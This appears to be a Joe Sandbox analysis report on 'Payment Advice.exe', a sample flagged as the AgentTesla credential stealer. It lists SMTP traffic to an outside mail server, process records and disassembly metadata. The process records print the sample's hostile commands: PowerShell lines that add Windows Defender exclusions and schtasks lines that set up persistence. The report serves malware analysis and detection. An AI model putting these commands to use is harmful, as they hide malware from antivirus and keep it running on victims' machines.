Apr 18, 2024 18:29:39.084424019 CEST	49773	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:29:39.444097042 CEST	587	49773	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:30:03.636260033 CEST	587	49774	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:30:03 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:30:03.636413097 CEST	49774	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:30:03.953906059 CEST	587	49774	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:30:03.954046965 CEST	49774	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:30:04.272480965 CEST	587	49774	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:30:13.643069029 CEST	587	49776	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:30:13 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:30:13.643198013 CEST	49776	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:30:13.830807924 CEST	587	49775	94.100.26.91	192.168.2.4	220-daud.aptcom.info ESMTP Exim 4.96.2 #2 Thu, 18 Apr 2024 16:30:13 +0000 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 18, 2024 18:30:13.830921888 CEST	49775	587	192.168.2.4	94.100.26.91	EHLO 642294
Apr 18, 2024 18:30:13.969152927 CEST	587	49776	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:30:13.969436884 CEST	49776	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:30:14.178294897 CEST	587	49775	94.100.26.91	192.168.2.4	250-daud.aptcom.info Hello 642294 [81.181.57.52] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Apr 18, 2024 18:30:14.178430080 CEST	49775	587	192.168.2.4	94.100.26.91	STARTTLS
Apr 18, 2024 18:30:14.296186924 CEST	587	49776	94.100.26.91	192.168.2.4	220 TLS go ahead
Apr 18, 2024 18:30:14.526700020 CEST	587	49775	94.100.26.91	192.168.2.4	220 TLS go ahead

Target ID:	0
Start time:	18:25:56
Start date:	18/04/2024
Path:	C:\Users\user\Desktop\Payment Advice.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Payment Advice.exe"
Imagebase:	0xa10000
File size:	695'304 bytes
MD5 hash:	F060B9400A263BEA044A7789EC1D85D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1712393138.0000000004C49000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1712393138.0000000004C49000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:25:59
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Payment Advice.exe"
Imagebase:	0x220000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:25:59
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:25:59
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe"
Imagebase:	0x220000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:25:59
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:25:59
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp6619.tmp"
Imagebase:	0x350000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:25:59
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:26:00
Start date:	18/04/2024
Path:	C:\Users\user\Desktop\Payment Advice.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Payment Advice.exe"
Imagebase:	0x850000
File size:	695'304 bytes
MD5 hash:	F060B9400A263BEA044A7789EC1D85D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.4124616083.0000000002D5C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.4124616083.0000000002D31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.4124616083.0000000002D31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.4124616083.0000000002D64000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	18:26:01
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe
Imagebase:	0xd80000
File size:	695'304 bytes
MD5 hash:	F060B9400A263BEA044A7789EC1D85D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.1760226964.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.1760226964.0000000004E2A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	18:26:02
Start date:	18/04/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	18:26:05
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmp7ACA.tmp"
Imagebase:	0x350000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	18:26:05
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	18:26:05
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe"
Imagebase:	0x530000
File size:	695'304 bytes
MD5 hash:	F060B9400A263BEA044A7789EC1D85D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.4124167230.000000000292B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4124167230.00000000028E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.4124167230.00000000028E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4115682058.0000000000431000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.4115682058.0000000000431000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	18:26:11
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Imagebase:	0x180000
File size:	695'304 bytes
MD5 hash:	F060B9400A263BEA044A7789EC1D85D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.1852266538.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.1852266538.00000000041C5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	18:26:14
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmpA082.tmp"
Imagebase:	0x350000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	18:26:14
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	18:26:14
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Imagebase:	0x3c0000
File size:	695'304 bytes
MD5 hash:	F060B9400A263BEA044A7789EC1D85D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:26:14
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Imagebase:	0x8d0000
File size:	695'304 bytes
MD5 hash:	F060B9400A263BEA044A7789EC1D85D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.4125579074.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000013.00000002.4125579074.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000013.00000002.4125579074.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	18:26:21
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Imagebase:	0x7a0000
File size:	695'304 bytes
MD5 hash:	F060B9400A263BEA044A7789EC1D85D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.1933792023.0000000003CE4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000014.00000002.1933792023.0000000003CE4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	18:26:22
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\sFPEKzHsLkYZIz" /XML "C:\Users\user\AppData\Local\Temp\tmpC03F.tmp"
Imagebase:	0x350000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	18:26:22
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	18:26:22
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Imagebase:	0x800000
File size:	695'304 bytes
MD5 hash:	F060B9400A263BEA044A7789EC1D85D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.4125631218.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000019.00000002.4125631218.0000000002D9B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	33
Total number of Limit Nodes:	4

Executed Functions

Function 05C8E070 Relevance: 4.0, Strings: 3, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te^q, xrefs: 05C8E0D9
Te^q, xrefs: 05C8E29E
)", xrefs: 05C8E11A

Memory Dump Source

Source File: 00000000.00000002.1718316976.0000000005C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c80000_Payment Advice.jbxd

Similarity

API ID:
String ID: Te^q$Te^q$)"
API String ID: 0-4031938444
Opcode ID: 05b045a86d66d814fd62d863d14705d4c479a84376641959b1e5a2dd46ec6b6a
Instruction ID: fd8804fbf880ad3a40a37ec6dd2b701cf61e97d239a53333d49af6f4d45685f8
Opcode Fuzzy Hash: 05b045a86d66d814fd62d863d14705d4c479a84376641959b1e5a2dd46ec6b6a
Instruction Fuzzy Hash: E281C474E042098FDB48DFAAC984AEEFBB6FF88310F14952AD415AB354DB34A905CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05C8E8F8 Relevance: 3.9, Strings: 3, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

RWIK, xrefs: 05C8E962
[[bb, xrefs: 05C8EA5B
7Z/t, xrefs: 05C8EA0B

Memory Dump Source

Source File: 00000000.00000002.1718316976.0000000005C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c80000_Payment Advice.jbxd

Similarity

API ID:
String ID: 7Z/t$RWIK$[[bb
API String ID: 0-1157992699
Opcode ID: e775accc79bdf92adeaffc930dc686d8e3991d0dfc4f1e8b384e0cff28cbf339
Instruction ID: 17af9c088c330b5f3a17d4ca5d5db1ca22967b86bffc4d8b7960f54b17e80681
Opcode Fuzzy Hash: e775accc79bdf92adeaffc930dc686d8e3991d0dfc4f1e8b384e0cff28cbf339
Instruction Fuzzy Hash: 6C51F470E0520ACFCB48CFAAC5416AEFFF6BB88310F14D86AD429B7254D7749A418F94

Uniqueness

Uniqueness Score: -1.00%

Function 077A0EF0 Relevance: 1.6, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

tIh, xrefs: 077A12A5

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID: tIh
API String ID: 0-443931868
Opcode ID: 9825e63b0842fcc3d50fe4367f4552b320d33519fc7b6c88f967278d5e268b80
Instruction ID: c381b1715f7c6064fed7a26c4e1a82f908e7aaff5dbf409d7b1528e9a904eac4
Opcode Fuzzy Hash: 9825e63b0842fcc3d50fe4367f4552b320d33519fc7b6c88f967278d5e268b80
Instruction Fuzzy Hash: C9D137B4E1524AEFEB04CF99C4848AEFBB2FF89340F10D655E411AB215D734AA42CF95

Uniqueness

Uniqueness Score: -1.00%

Function 077A43A0 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 110079bd336ca008cdb8f6da3a10fb66c5831f4d66d1b21a4c2b6e4ce4c6521f
Instruction ID: 25e4dc5b70dc30c61560f7c3858cd3483ca24c4374566adf3dea1f7c536f284e
Opcode Fuzzy Hash: 110079bd336ca008cdb8f6da3a10fb66c5831f4d66d1b21a4c2b6e4ce4c6521f
Instruction Fuzzy Hash: 299148B0D15248EFDB08CFE9E58499DFBB2FB8A344F20A51AE416BB224D7719905CF14

Uniqueness

Uniqueness Score: -1.00%

Function 077A4088 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b20ceeec76f980d244f7b357eb296d039cf34163db060dc733d83c84dfea5881
Instruction ID: d2a5771d7c9086b81f64faa580fe07695ebcbf55670acfb1ee712df1074dd501
Opcode Fuzzy Hash: b20ceeec76f980d244f7b357eb296d039cf34163db060dc733d83c84dfea5881
Instruction Fuzzy Hash: 318133B4E10229DFDB04CFA9C8819EEFBB1FB89340F209A6AD411B7214D7759912CF58

Uniqueness

Uniqueness Score: -1.00%

Function 077A0007 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51ea8e2f5953a4b79d5983aea4f944494326be182932526b85a2afbcbb2e3c56
Instruction ID: 79aa8ad62ca6cbb2c96e116f4292a584bb1e5d34948ed85eaf58437d913c35c9
Opcode Fuzzy Hash: 51ea8e2f5953a4b79d5983aea4f944494326be182932526b85a2afbcbb2e3c56
Instruction Fuzzy Hash: 443161B1D057448FE719CF6A88542DEBFF3AFC9300F18C5AAD448AB265DB340945CB51

Uniqueness

Uniqueness Score: -1.00%

Function 077A0040 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b69b06b005774275d6b735ff69f6fb786acda55351a7e89babe2f0192bcac8fe
Instruction ID: 42ae7f6c4a721b56c26ef96a0450402901f7304d4833fd026874b0d88fc65d7d
Opcode Fuzzy Hash: b69b06b005774275d6b735ff69f6fb786acda55351a7e89babe2f0192bcac8fe
Instruction Fuzzy Hash: 3D21F8B1E006189BEB18CFABD8442DEFBF3AFC8310F14C17AD409A6258EB701A55CA50

Uniqueness

Uniqueness Score: -1.00%

Function 077A5780 Relevance: 2.6, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

8bq, xrefs: 077A5853
8bq, xrefs: 077A5813

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID: 8bq$8bq
API String ID: 0-1276831224
Opcode ID: 747546f8d3525546a3dcf35b7b2a787d24709c6290f8b780e4bae79da0c0a24c
Instruction ID: 5a546059714025f629f41ab49e3ce5571e5274c0ae2ac7398c0d2e8ae7838aad
Opcode Fuzzy Hash: 747546f8d3525546a3dcf35b7b2a787d24709c6290f8b780e4bae79da0c0a24c
Instruction Fuzzy Hash: 5B21B1B0B40109AFD700AB68D440A7E7BE2EBC9354F54457AE605EB295EA30CD418B91

Uniqueness

Uniqueness Score: -1.00%

Function 077A1530 Relevance: 2.6, Strings: 2, Instructions: 63COMMON

Download Yara Rule

Strings

3H5, xrefs: 077A15CE
3H5, xrefs: 077A15C0

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID: 3H5$3H5
API String ID: 0-2752242361
Opcode ID: 0425968c2e94ca17a5fb1c179a48aeb14d1d70d3f84609190d9ed0823b607f3d
Instruction ID: 1e3cb9379045a62ec2e68e0960cf539e9d99db4d1aba518c38587e9b95a643c7
Opcode Fuzzy Hash: 0425968c2e94ca17a5fb1c179a48aeb14d1d70d3f84609190d9ed0823b607f3d
Instruction Fuzzy Hash: D82116B0E11209EFEB44CFA9C5409AEFBF1FF89340F54C6AAD509A7214E7309A45CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0556DA11 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?), ref: 0556DAAF

Memory Dump Source

Source File: 00000000.00000002.1716983148.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5560000_Payment Advice.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 2d202ce273c602059e57ce1e506c2841dbd3281d54185d743562bee2f5b271f7
Instruction ID: 3c5cacc3b90223fc0c6c4c33856084250a6e02d8192e18600899ee4406efbd86
Opcode Fuzzy Hash: 2d202ce273c602059e57ce1e506c2841dbd3281d54185d743562bee2f5b271f7
Instruction Fuzzy Hash: 4831C5B59042499FDB10CF99D884AEEFBF5FB48310F14842AE815A7710D775A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0556DA18 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?), ref: 0556DAAF

Memory Dump Source

Source File: 00000000.00000002.1716983148.0000000005560000.00000040.00000800.00020000.00000000.sdmp, Offset: 05560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5560000_Payment Advice.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: e38e1a54d5cbbd1103ddcbb9ccbcc9b0f8e2cd6ba27cb477afe5006140e11ec2
Instruction ID: 31419bfd01cba783da3038960f3f805e1cb8fbb541e5eb60ecaa2aea6e5eb4df
Opcode Fuzzy Hash: e38e1a54d5cbbd1103ddcbb9ccbcc9b0f8e2cd6ba27cb477afe5006140e11ec2
Instruction Fuzzy Hash: 1A21D2B5D042499FDB10CF9AD884ADEFBF5FB48320F18842AE819A7310D775A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0149CEA8 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0149DDC1,00000800,00000000,00000000), ref: 0149DFB2

Memory Dump Source

Source File: 00000000.00000002.1707985266.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1490000_Payment Advice.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7cff2094f1404a3d01300b1fba9273313272b5e6919e728fc16a9bd6ac827b00
Instruction ID: ced51468f3b5953f1f5f03322ff8934ffb73e25c4d9295524798f244eec0020e
Opcode Fuzzy Hash: 7cff2094f1404a3d01300b1fba9273313272b5e6919e728fc16a9bd6ac827b00
Instruction Fuzzy Hash: 701100B6D042498FDB10CF9AC445ADEFFF4EB88314F10842AE519A7254C379A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0149DCE0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0149DD46

Memory Dump Source

Source File: 00000000.00000002.1707985266.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1490000_Payment Advice.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
